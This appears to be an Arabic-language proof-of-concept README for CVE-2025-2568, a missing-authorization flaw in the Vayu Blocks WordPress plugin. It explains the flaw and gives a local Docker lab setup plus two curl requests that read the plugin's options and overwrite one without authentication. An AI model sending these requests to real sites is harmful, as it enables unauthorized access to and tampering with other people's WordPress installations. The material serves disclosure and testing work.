
إثبات مفهوم لاستغلال CVE-2025-2568، يوضح الوصول غير المصرح به وتعديل خيارات إضافة Vayu Blocks الخاصة بووردبريس عبر غياب فحوصات الصلاحيات.
إضافة Vayu Blocks – Gutenberg Blocks الخاصة بـ WordPress وWooCommerce معرضة لخطر الوصول غير المصرح به وتعديل البيانات بسبب غياب فحوصات الصلاحيات في الدالتين vayu_blocks_get_toggle_switch_values_callback وvayu_blocks_save_toggle_switch_callback في الإصدارات من 1.0.4 إلى 1.2.1. وهذا يتيح للمهاجمين غير المصادق عليهم قراءة خيارات الإضافة وتحديث أي خيار ينتهي اسم مفتاحه بـ _value.
cd vuln-wordpress
docker-compose up -d
cd wp-content/plugins/
unzip vayu-blocks.1.2.0.zip
curl http://localhost:8080/wp-json/vayu-blocks/v1/get-toggle-values/
curl -X POST http://localhost:8080/wp-json/vayu-blocks/v1/save-toggle-switch \
-H "Content-Type: application/json" \
-d '{"key":"container", "value":"new_value"}'